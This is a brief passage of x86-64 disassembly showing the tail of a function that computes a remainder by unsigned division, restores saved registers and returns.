jb 0x14011f99a
cmp r8, r14
jne 0x14011f790
mov rbx, qword [rsp + 0x20]
mov rax, rsi
mov rbp, qword [rsp + 0x28]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
div r15
mov rax, rdx
pop r15
pop r14
pop r12
ret